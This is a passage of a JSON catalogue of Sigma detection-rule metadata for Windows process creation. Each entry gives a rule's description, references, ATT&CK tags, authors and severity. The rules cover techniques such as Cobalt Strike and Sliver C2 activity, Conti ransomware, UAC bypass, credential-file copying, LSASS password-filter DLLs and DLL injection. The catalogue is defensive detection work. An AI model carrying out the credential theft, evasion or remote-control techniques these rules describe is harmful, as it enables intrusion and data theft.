"attack.t1185" - ], - "creation_date": "2022/07/27", - "filename": "proc_creation_win_browser_remote_debugging.yml", - "author": "pH-T, Nasreddine Bencherchali (update)", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects WMI SquiblyTwo Attack with possible renamed WMI by looking for imphash", - "uuid": "8d63dadf-b91b-4187-87b6-34a1114577ea", - "value": "SquiblyTwo Execution", - "meta": { - "refs": [ - "https://subt0x11.blogspot.ch/2018/04/wmicexe-whitelisting-bypass-hacking.html", - "https://twitter.com/mattifestation/status/986280382042595328", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bypass_squiblytwo.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1047", - "attack.t1220", - "attack.execution", - "attack.t1059.005", - "attack.t1059.007" - ], - "creation_date": "2019/01/16", - "filename": "proc_creation_win_bypass_squiblytwo.yml", - "author": "Markus Neis, Florian Roth", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects process activity patterns as seen being used by Sliver C2 framework implants", - "uuid": "42333b2c-b425-441c-b70e-99404a17170f", - "value": "Sliver C2 Implant Activity Pattern", - "meta": { - "refs": [ - "https://github.com/BishopFox/sliver/blob/79f2d48fcdfc2bee4713b78d431ea4b27f733f30/implant/sliver/shell/shell_windows.go#L36", - "https://www.microsoft.com/security/blog/2022/08/24/looking-for-the-sliver-lining-hunting-for-emerging-command-and-control-frameworks/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_c2_sliver.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059" - ], - "creation_date": "2022/08/25", - "filename": "proc_creation_win_c2_sliver.yml", - "author": "Nasreddine Bencherchali, Florian Roth", - "level": "critical", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "F-Secure C3 produces DLLs with a default exported StartNodeRelay function.", - "uuid": "b18c9d4c-fac9-4708-bd06-dd5bfacf200f", - "value": "F-Secure C3 Load by Rundll32", - "meta": { - "refs": [ - "https://github.com/FSecureLABS/C3/blob/11a081fd3be2aaf2a879f6b6e9a96ecdd24966ef/Src/NodeRelayDll/NodeRelayDll.cpp#L12", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_c3_load_by_rundll32.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.011" - ], - "creation_date": "2021/06/02", - "filename": "proc_creation_win_c3_load_by_rundll32.yml", - "author": "Alfie Champion (ajpc500)", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects when a user installs certificates by using CertOC.exe to loads the target DLL file.", - "uuid": "242301bc-f92f-4476-8718-78004a6efd9f", - "value": "Suspicious Load DLL via CertOC.exe", - "meta": { - "refs": [ - "https://twitter.com/sblmsrsn/status/1445758411803480072?s=20", - "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-fe98e74189873d6df72a15df2eaa0315c59ba9cdaca93ecd68afc4ea09194ef2", - "https://lolbas-project.github.io/lolbas/Binaries/Certoc/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_certoc_execution.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218" - ], - "creation_date": "2021/10/23", - "filename": "proc_creation_win_certoc_execution.yml", - "author": "Austin Songer @austinsonger", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects possible NTLM coercion via certutil using the 'syncwithWU' flag", - "uuid": "6c6d9280-e6d0-4b9d-80ac-254701b64916", - "value": "NTLM Coercion Via Certutil.exe", - "meta": { - "refs": [ - "https://github.com/LOLBAS-Project/LOLBAS/issues/243", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_certutil_ntlm_coercion.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218" - ], - "creation_date": "2022/09/01", - "filename": "proc_creation_win_certutil_ntlm_coercion.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access or by administrators using the built-in assoc utility. Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.", - "uuid": "3d3aa6cd-6272-44d6-8afc-7e88dfef7061", - "value": "Change Default File Association", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.001/T1546.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_change_default_file_association.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1546.001" - ], - "creation_date": "2019/10/21", - "filename": "proc_creation_win_change_default_file_association.yml", - "author": "Timur Zinniatullin, oscd.community", - "level": "low", - "falsepositive": [ - "Admin activity" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects when a program changes the default file association of any extension to an executable", - "uuid": "ae6f14e6-14de-45b0-9f44-c0986f50dc89", - "value": "Change Default File Association To Executable", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/assoc", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_change_default_file_assoc_susp.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1546.001" - ], - "creation_date": "2022/06/28", - "filename": "proc_creation_win_change_default_file_assoc_susp.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects usage of the Chisel tunneling tool via the commandline arguments", - "uuid": "8b0e12da-d3c3-49db-bb4f-256703f380e5", - "value": "Chisel Tunneling Tool Usage", - "meta": { - "refs": [ - "https://github.com/jpillora/chisel/", - "https://arcticwolf.com/resources/blog/lorenz-ransomware-chiseling-in/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_chisel_usage.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1090.001" - ], - "creation_date": "2022/09/13", - "filename": "proc_creation_win_chisel_usage.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Some false positives may occure with other tools with similar commandlines" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects PowerShell process spawning a 'chrome.exe' process with the 'load-extension' flag to start a new chrome instance with custom extensions, as seen being used in 'ChromeLoader'", - "uuid": "27ba3207-dd30-4812-abbf-5d20c57d474e", - "value": "Powershell ChromeLoader Browser Hijacker", - "meta": { - "refs": [ - "https://redcanary.com/blog/chromeloader/", - "https://emkc.org/s/RJjuLa", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_chrome_load_extension.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1176" - ], - "creation_date": "2022/06/19", - "filename": "proc_creation_win_chrome_load_extension.yml", - "author": "Aedan Russell, frack113 (sigma)", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the use of CleanWipe a tool usually used to delete Symantec antivirus.", - "uuid": "f44800ac-38ec-471f-936e-3fa7d9c53100", - "value": "CleanWipe Usage", - "meta": { - "refs": [ - "https://github.com/3CORESec/MAL-CL/tree/master/Descriptors/Other/CleanWipe", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cleanwipe.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ], - "creation_date": "2021/12/18", - "filename": "proc_creation_win_cleanwipe.yml", - "author": "Nasreddine Bencherchali @nas_bench", - "level": "high", - "falsepositive": [ - "Legitimate administrative use (Should be investigated either way)" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may collect data stored in the clipboard from users copying information within or between applications.", - "uuid": "ddeff553-5233-4ae9-bbab-d64d2bd634be", - "value": "Use of CLIP", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/clip", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1115/T1115.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_clip.yml" - ], - "tags": [ - "attack.collection", - "attack.t1115" - ], - "creation_date": "2021/07/27", - "filename": "proc_creation_win_clip.yml", - "author": "frack113", - "level": "low", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects usage of cmdkey to look for cached credentials", - "uuid": "07f8bdc2-c9b3-472a-9817-5a670b872f53", - "value": "Cmdkey Cached Credentials Recon", - "meta": { - "refs": [ - "https://www.peew.pw/blog/2017/11/26/exploring-cmdkey-an-edge-case-for-privilege-escalation", - "https://technet.microsoft.com/en-us/library/cc754243(v=ws.11).aspx", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmdkey_recon.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.005" - ], - "creation_date": "2019/01/16", - "filename": "proc_creation_win_cmdkey_recon.yml", - "author": "jmallette, Florian Roth, Nasreddine Bencherchali (update)", - "level": "high", - "falsepositive": [ - "Legitimate administrative tasks" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may delete files left behind by the actions of their intrusion activity.\nMalware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how.\nRemoval of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.\n", - "uuid": "379fa130-190e-4c3f-b7bc-6c8e834485f3", - "value": "Windows Cmd Delete File", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.004/T1070.004.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_delete.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1070.004" - ], - "creation_date": "2022/01/15", - "filename": "proc_creation_win_cmd_delete.yml", - "author": "frack113", - "level": "low", - "falsepositive": [ - "Legitimate scripts" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects possible payload obfuscation via the commandline", - "uuid": "a77c1610-fc73-4019-8e29-0f51efc04a51", - "value": "Suspicious Dosfuscation Character in Commandline", - "meta": { - "refs": [ - "https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/dosfuscation-report.pdf", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_dosfuscation.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059" - ], - "creation_date": "2022/02/15", - "filename": "proc_creation_win_cmd_dosfuscation.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Legitimate use" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detect use of \"/R <\" to read and execute a file via cmd.exe", - "uuid": "00a4bacd-6db4-46d5-9258-a7d5ebff4003", - "value": "Read and Execute a File Via Cmd.exe", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1059.003/T1059.003.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_read_contents.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.003" - ], - "creation_date": "2022/08/20", - "filename": "proc_creation_win_cmd_read_contents.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Legitimate use" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Use \">\" to redicrect information in commandline", - "uuid": "4f4eaa9f-5ad4-410c-a4be-bc6132b0175a", - "value": "Redirect Output in CommandLine", - "meta": { - "refs": [ - "https://ss64.com/nt/syntax-redirection.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_redirect.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1082" - ], - "creation_date": "2022/01/22", - "filename": "proc_creation_win_cmd_redirect.yml", - "author": "frack113", - "level": "low", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects inline windows shell commands redirecting output via the \">\" symbol to a suspicious location", - "uuid": "8e0bb260-d4b2-4fff-bb8d-3f82118e6892", - "value": "Suspicious CMD Shell Redirect", - "meta": { - "refs": [ - "https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_redirection_susp_folder.yml" - ], - "tags": [ - "attack.execution", - "attack.t1218" - ], - "creation_date": "2022/07/12", - "filename": "proc_creation_win_cmd_redirection_susp_folder.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Legitimate admin scripts" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects UAC Bypass Attempt Using Microsoft Connection Manager Profile Installer Autoelevate-capable COM Objects (e.g. UACMe ID of 41, 43, 58 or 65)", - "uuid": "4b60e6f2-bf39-47b4-b4ea-398e33cfe253", - "value": "CMSTP UAC Bypass via COM Object Access", - "meta": { - "refs": [ - "https://web.archive.org/web/20190720093911/http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/", - "https://twitter.com/hFireF0X/status/897640081053364225", - "https://medium.com/falconforce/falconfriday-detecting-uac-bypasses-0xff16-86c2a9107abf", - "https://github.com/hfiref0x/UACME", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmstp_com_object_access.yml" - ], - "tags": [ - "attack.execution", - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1548.002", - "attack.t1218.003", - "attack.g0069", - "car.2019-04-001" - ], - "creation_date": "2019/07/31", - "filename": "proc_creation_win_cmstp_com_object_access.yml", - "author": "Nik Seetharaman, Christian Burkard", - "level": "high", - "falsepositive": [ - "Legitimate CMSTP use (unlikely in modern enterprise environments)" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects various indicators of Microsoft Connection Manager Profile Installer execution", - "uuid": "7d4cdc5a-0076-40ca-aac8-f7e714570e47", - "value": "CMSTP Execution Process Creation", - "meta": { - "refs": [ - "https://web.archive.org/web/20190720093911/http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmstp_execution_by_creation.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.execution", - "attack.t1218.003", - "attack.g0069", - "car.2019-04-001" - ], - "creation_date": "2018/07/16", - "filename": "proc_creation_win_cmstp_execution_by_creation.yml", - "author": "Nik Seetharaman", - "level": "high", - "falsepositive": [ - "Legitimate CMSTP use (unlikely in modern enterprise environments)" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects use of Cobalt Strike commands accidentally entered in the CMD shell", - "uuid": "647c7b9e-d784-4fda-b9a0-45c565a7b729", - "value": "Operator Bloopers Cobalt Strike Commands", - "meta": { - "refs": [ - "https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/cobalt-4-5-user-guide.pdf", - "https://thedfirreport.com/2021/10/04/bazarloader-and-the-conti-leaks/", - "https://thedfirreport.com/2022/06/16/sans-ransomware-summit-2022-can-you-detect-this/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cobaltstrike_bloopers_cmd.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.003" - ], - "creation_date": "2022/05/06", - "filename": "proc_creation_win_cobaltstrike_bloopers_cmd.yml", - "author": "_pete_0, TheDFIRReport", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects use of Cobalt Strike module commands accidentally entered in the CMD shell", - "uuid": "4f154fb6-27d1-4813-a759-78b93e0b9c48", - "value": "Operator Bloopers Cobalt Strike Modules", - "meta": { - "refs": [ - "https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/cobalt-4-5-user-guide.pdf", - "https://thedfirreport.com/2021/10/04/bazarloader-and-the-conti-leaks/", - "https://thedfirreport.com/2022/06/16/sans-ransomware-summit-2022-can-you-detect-this/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cobaltstrike_bloopers_modules.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.003" - ], - "creation_date": "2022/05/06", - "filename": "proc_creation_win_cobaltstrike_bloopers_modules.yml", - "author": "_pete_0, TheDFIRReport", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Rundll32 can be use by Cobalt Strike with StartW function to load DLLs from the command line.", - "uuid": "ae9c6a7c-9521-42a6-915e-5aaa8689d529", - "value": "CobaltStrike Load by Rundll32", - "meta": { - "refs": [ - "https://www.cobaltstrike.com/help-windows-executable", - "https://redcanary.com/threat-detection-report/", - "https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cobaltstrike_load_by_rundll32.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.011" - ], - "creation_date": "2021/06/01", - "filename": "proc_creation_win_cobaltstrike_load_by_rundll32.yml", - "author": "Wojciech Lesicki", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects process patterns found in Cobalt Strike beacon activity (see reference for more details) and also cases in which a China Chopper like webshell is used to run whoami", - "uuid": "f35c5d71-b489-4e22-a115-f003df287317", - "value": "CobaltStrike Process Patterns", - "meta": { - "refs": [ - "https://hausec.com/2021/07/26/cobalt-strike-and-tradecraft/", - "https://thedfirreport.com/2021/08/29/cobalt-strike-a-defenders-guide/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cobaltstrike_process_patterns.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059" - ], - "creation_date": "2021/07/27", - "filename": "proc_creation_win_cobaltstrike_process_patterns.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Other programs that cause these patterns (please report)" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "detects the usage of path traversal in cmd.exe indicating possible command/argument confusion/hijacking", - "uuid": "087790e3-3287-436c-bccf-cbd0184a7db1", - "value": "Cmd.exe CommandLine Path Traversal", - "meta": { - "refs": [ - "https://hackingiscool.pl/cmdhijack-command-argument-confusion-with-path-traversal-in-cmd-exe/", - "https://twitter.com/Oddvarmoe/status/1270633613449723905", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_commandline_path_traversal.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.003" - ], - "creation_date": "2020/06/11", - "filename": "proc_creation_win_commandline_path_traversal.yml", - "author": "xknow @xknow_infosec, Tim Shelton", - "level": "high", - "falsepositive": [ - "(not much) some benign Java tools may product false-positive commandlines for loading libraries" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the attempt to evade or obfuscate the executed command on the CommandLine using bogus path traversal", - "uuid": "1327381e-6ab0-4f38-b583-4c1b8346a56b", - "value": "Command Line Path Traversal Evasion", - "meta": { - "refs": [ - "https://twitter.com/hexacorn/status/1448037865435320323", - "https://twitter.com/Gal_B1t/status/1062971006078345217", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_commandline_path_traversal_evasion.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1036" - ], - "creation_date": "2021/10/26", - "filename": "proc_creation_win_commandline_path_traversal_evasion.yml", - "author": "Christian Burkard", - "level": "high", - "falsepositive": [ - "Google Drive", - "Citrix" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects usage of the Get-ADComputer cmdlet to collect computer information and output it to a file", - "uuid": "435e10e4-992a-4281-96f3-38b11106adde", - "value": "Computer Discovery And Export Via Get-ADComputer Cmdlet", - "meta": { - "refs": [ - "http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html", - "https://www.microsoft.com/en-us/security/blog/2022/10/18/defenders-beware-a-case-for-post-ransomware-investigations/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_computer_discovery_get_adcomputer.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1033" - ], - "creation_date": "2022/11/10", - "filename": "proc_creation_win_computer_discovery_get_adcomputer.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Legitimate admin scripts may use the same technique, it's better to exclude specific computers or users who execute these commands or scripts often" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "detects the usage of path traversal in conhost.exe indicating possible command/argument confusion/hijacking", - "uuid": "ee5e119b-1f75-4b34-add8-3be976961e39", - "value": "Conhost.exe CommandLine Path Traversal", - "meta": { - "refs": [ - "https://pentestlab.blog/2020/07/06/indirect-command-execution/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_conhost_path_traversal.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.003" - ], - "creation_date": "2022/06/14", - "filename": "proc_creation_win_conhost_path_traversal.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Conti ransomware command line ioc", - "uuid": "689308fc-cfba-4f72-9897-796c1dc61487", - "value": "Conti Ransomware Execution", - "meta": { - "refs": [ - "https://news.sophos.com/en-us/2021/09/03/conti-affiliates-use-proxyshell-exchange-exploit-in-ransomware-attacks/", - "https://twitter.com/VK_Intel/status/1447795359900704769?t=Xz7vaLTvaaCZ5kHoZa6gMw&s=19", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_conti_cmd_ransomware.yml" - ], - "tags": [ - "attack.impact", - "attack.s0575", - "attack.t1486" - ], - "creation_date": "2021/10/12", - "filename": "proc_creation_win_conti_cmd_ransomware.yml", - "author": "frack113", - "level": "critical", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects a command used by conti to dump database", - "uuid": "2f47f1fd-0901-466e-a770-3b7092834a1b", - "value": "Conti Backup Database", - "meta": { - "refs": [ - "https://twitter.com/vxunderground/status/1423336151860002816?s=20", - "https://www.virustotal.com/gui/file/03e9b8c2e86d6db450e5eceec057d7e369ee2389b9daecaf06331a95410aa5f8/detection", - "https://docs.microsoft.com/en-us/sql/tools/sqlcmd-utility?view=sql-server-ver15", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_conti_sqlcmd.yml" - ], - "tags": [ - "attack.collection", - "attack.t1005" - ], - "creation_date": "2021/08/16", - "filename": "proc_creation_win_conti_sqlcmd.yml", - "author": "frack113", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the malicious use of a control panel item", - "uuid": "0ba863e6-def5-4e50-9cea-4dd8c7dc46a4", - "value": "Control Panel Items", - "meta": { - "refs": [ - "https://attack.mitre.org/techniques/T1196/", - "https://ired.team/offensive-security/code-execution/code-execution-through-control-panel-add-ins", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_control_panel_item.yml" - ], - "tags": [ - "attack.execution", - "attack.defense_evasion", - "attack.t1218.002", - "attack.persistence", - "attack.t1546" - ], - "creation_date": "2020/06/22", - "filename": "proc_creation_win_control_panel_item.yml", - "author": "Kyaw Min Thein, Furkan Caliskan (@caliskanfurkan_)", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Files with well-known filenames (sensitive files with credential data) copying", - "uuid": "e7be6119-fc37-43f0-ad4f-1f3f99be2f9f", - "value": "Copying Sensitive Files with Credential Data", - "meta": { - "refs": [ - "https://room362.com/post/2013/2013-06-10-volume-shadow-copy-ntdsdit-domain-hashes-remotely-part-1/", - "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", - "https://dfironthemountain.wordpress.com/2018/12/06/locked-file-access-using-esentutl-exe/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_copying_sensitive_files_with_credential_data.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.002", - "attack.t1003.003", - "car.2013-07-001", - "attack.s0404" - ], - "creation_date": "2019/10/22", - "filename": "proc_creation_win_copying_sensitive_files_with_credential_data.yml", - "author": "Teymur Kheirkhabarov, Daniil Yugoslavskiy, oscd.community", - "level": "high", - "falsepositive": [ - "Copying sensitive files for legitimate use (eg. backup) or forensic investigation by legitimate incident responder or forensic invetigator" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects usage of the copy command to copy files with the .dmp extensions from a remote share", - "uuid": "044ba588-dff4-4918-9808-3f95e8160606", - "value": "Copy DMP Files From Share", - "meta": { - "refs": [ - "https://thedfirreport.com/2022/09/26/bumblebee-round-two/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_copy_dmp_from_share.yml" - ], - "tags": [ - "attack.credential_access" - ], - "creation_date": "2022/09/27", - "filename": "proc_creation_win_copy_dmp_from_share.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious process patterns found in logs when CrackMapExec is used", - "uuid": "f26307d8-14cd-47e3-a26b-4b4769f24af6", - "value": "CrackMapExec Process Patterns", - "meta": { - "refs": [ - "https://mpgn.gitbook.io/crackmapexec/smb-protocol/obtaining-credentials/dump-lsass", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_crackmapexec_patterns.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.001" - ], - "creation_date": "2022/03/12", - "filename": "proc_creation_win_crackmapexec_patterns.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects process injection using the signed Windows tool \"Mavinject\" via the \"INJECTRUNNING\" flag or a renamed execution of the tool", - "uuid": "4f73421b-5a0b-4bbf-a892-5a7fb99bea66", - "value": "Mavinject Inject DLL Into Running Process", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1056.004/T1056.004.md", - "https://posts.specterops.io/mavinject-exe-functionality-deconstructed-c29ab2cf5c0e", - "https://twitter.com/gN3mes1s/status/941315826107510784", - "https://reaqta.com/2017/12/mavinject-microsoft-injector/", - "https://twitter.com/Hexacorn/status/776122138063409152", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_creation_mavinject_process_injection.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1055.001", - "attack.t1218.013" - ], - "creation_date": "2021/07/12", - "filename": "proc_creation_win_creation_mavinject_process_injection.yml", - "author": "frack113, Florian Roth", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the execution of other scripts using the Node executable packaged with Adobe Creative Cloud", - "uuid": "df1f26d3-bea7-4700-9ea2-ad3e990cf90e", - "value": "Node Process Executions", - "meta": { - "refs": [ - "https://twitter.com/mttaggart/status/1511804863293784064", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_creative_cloud_node_abuse.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1127", - "attack.t1059.007" - ], - "creation_date": "2022/04/06", - "filename": "proc_creation_win_creative_cloud_node_abuse.yml", - "author": "Max Altgelt", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects dropping of dll files in system32 that may be used to retrieve user credentials from LSASS", - "uuid": "b7966f4a-b333-455b-8370-8ca53c229762", - "value": "Dropping Of Password Filter DLL", - "meta": { - "refs": [ - "https://pentestlab.blog/2020/02/10/credential-access-password-filter-dll/", - "https://github.com/3gstudent/PasswordFilter/tree/master/PasswordFilter", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_credential_access_via_password_filter.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1556.002" - ], - "creation_date": "2020/10/29", - "filename": "proc_creation_win_credential_access_via_password_filter.yml", - 